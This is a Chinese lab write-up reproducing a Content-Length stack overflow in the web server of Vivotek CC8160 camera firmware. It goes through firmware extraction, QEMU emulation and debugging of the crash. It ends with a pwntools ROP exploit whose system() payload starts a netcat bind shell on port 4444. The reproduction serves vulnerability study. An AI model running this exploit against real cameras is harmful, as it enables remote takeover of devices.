一、固件提取
http://download.vivotek.com/downloadfile/downloads/firmware/cc8160firmware.zip
固件下载完之后用binwalk进行提取
binwalk -Me CC8160-VVTK-0113b.flash.pkg
位置在/_CC8160-VVTK-0113b.flash.pkg.extracted/_31.extracted/_rootfs.img.extracted/squashfs-root
确认为32位 小端序 ARM架构
二、漏洞利用分析
根据官网发布的漏洞利用点可以看到
可以看到
v33 = strstr(haystack, "Content-Length");
v34 = strchr(v33, 10);
v35 = strchr(v33, 58);
strncpy(dest, v35 + 1, v34 - (v35 + 1));
通过strncpy给dest赋值 而v35和v34都是从v33那边截取,一个是到\n(10) 一个是到:(58)
而v33是来自 haystack是可以控制的,因此就可以溢出
三、环境搭建
cp /usr/bin/qemu-arm-static .
这个命令会将 qemu-arm-static
文件从 /usr/bin/
目录复制到当前目录。复制成功后,你可以在当前目录中找到 qemu-arm-static
文件。qemu-arm-static
是 QEMU 的一个静态编译的可执行文件,用于在不同的架构之间进行仿真。具体来说,qemu-arm-static
是一个用户模式仿真器,它允许在 x86 或 x86_64 架构的主机上运行 ARM 架构的可执行文件。这在进行交叉编译和调试 ARM 程序时非常有用。
sudo chroot . ./qemu-arm-static ./usr/sbin/httpd
发现执行到Could not open boa.conf for reading.
我们去ida看看是什么原因
可以看到要打开一个/etc/conf.d/boa/boa.conf的文件
通过找到这个文件并把整个etc复制到../mnt/flash/目录下面,即可修复该问题
成功解决问题
接下来输出了个gethostbyname:: Success 我们继续在ida中跟进
可以看到还是有问题:
gethostbyname():用域名或主机名获取IP地址。 这里要求域名和ip地址 要和本机上一致
cat ./etc/hosts
127.0.0.1 Network-Camera localhost
DESKTOP-6B71JP4
echo "192.168.100.2 DESKTOP-6B71JP4 localhost" > squashfs-root/etc/hosts
这就可以启动了 因为之前启动过,就没显示我们去网页看看
确实是成功启动了
qemu宿主机环境搭建
rm -rf vmlinuz-3.2.0-4-versatile
rm -rf initrd.img-3.2.0-4-versatile
wget https://people.debian.org/~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile
wget https://people.debian.org/~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile
-
vmlinuz-3.2.0-4-versatile:
- 这是一个 ARM 体系结构的内核文件(vmlinuz)。
- 它适用于 QEMU 的 versatile 仿真平台,这是一个广泛使用的 ARM 开发平台仿真。
-
initrd.img-3.2.0-4-versatile:
- 这是一个初始 RAM 磁盘(initrd)文件。
- 它包含了引导时所需的基本文件系统和驱动程序,可以帮助内核完成启动过程。
设置本地网卡:tap0网卡net.sh
sudo ip tuntap add mode tap name tap0
sudo ip link set tap0 up
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE #这里的网卡要改成自己的
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0
qemu宿主机启动脚本start.sh
sudo qemu-system-arm \
-M versatilepb \
-kernel vmlinuz-3.2.0-4-versatile \
-initrd initrd.img-3.2.0-4-versatile \
-hda debian_wheezy_armel_standard.qcow2 \
-append "root=/dev/sda1" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic\
给qemu机器设置网卡ip
ifconfig eth0 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254
然后将文件传到宿主机中
sudo scp -r squashfs-root/ root@192.168.100.2:/root
启动服务
chmod -R 777 squashfs-root/
chroot ./squashfs-root/ /bin/sh
./usr/sbin/httpd
我们连接验证一下:
至此环境搭建完成
四、漏洞利用和调试
验证一下官方的poc
echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | netcat -v 192.168.100.2 80
发现程序done掉了 ,确实存在溢出漏洞接下来通过调试确认位置
在宿主机(起的qemu环境中)
./gdbserver.armel --attach 192.168.100.254:1234 2327
起一个端口号对起的服务进行监听,这里监听254的原因是因为,我们设置的192.168.100.2是虚拟网卡,而192.168.100.254是qemu启动时候配置的
然后用gdb-mutiarch进行远程连接(专门针对arm)
接下来发送poc检测产生溢出的size和漏洞发生的位置
通过计算size为52 然后一步步调试 执行ret的位置 方便后续调试rop链
发现是在0x18398的这个位置ret返回的,可以看到arm是通过pop 给pc赋值,我们是可以控制pc然后执行rop链条的,
然后在进行攻击的时候我们是知道libc和stack地址的,会关闭地址随机化
ROP的构造
注意ARM架构函数的调用约定:前4个参数保存在R0~R3,之后的参数从右至左压栈。因此要想执行system("反弹shell的指令")
,就需要将寄存器R0的值修改为字符串'反弹shell的指令'`的地址,返回地址可以通过栈溢出直接修改
这里存在pop {r0, pc}也就是说,pop r0,ret 但是0x33100 加上libc地址后,会存在末尾是\x00 因为是strncmp会存在截断 所以我们不使用 我们用pop{r1,pc}+mov r0,r1
因此poc如下:
#!/usr/bin/python3
from pwn import*
import requests
p=remote('192.168.100.2',80)
libc=ELF('./lib/libc.so.0')
context.log_level='debug'
libc_base=0xb6f2d000
pop_r1=0x00048784+libc_base
mov_r0_r1=0x00016aa4+libc_base
system=libc_base+libc.sym['system']
stack = 0xbeffeb64
amd='aaaaaa'
head = b"POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:"
payload = b'b'*(0x00003c-8)+p32(pop_r1)+p32(stack)+p32(mov_r0_r1)+b'b'*8+p32(system)
end = b'nc -lp 4444 -e /bin/sh;'+b'\r\n\r\n'
p.sendline(head+payload+end)
执行过程和效果
开始执行rop:
执行完后在客户机开了一个4444端口 我们用主机连一下,效果如下=
参考文献
1.https://mp.weixin.qq.com/s/cuGsb2D-OGGJXF9IfcBaKg
2.https://hornos3.github.io/2023/02/28/ARM-pwn-%E5%85%A5%E9%97%A8
3.https://p1kk.github.io/2021/04/14/iot/vivotek%20%E6%91%84%E5%83%8F%E5%A4%B4%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/#%E7%8E%AF%E5%A2%83%E4%BF%AE%E5%A4%8D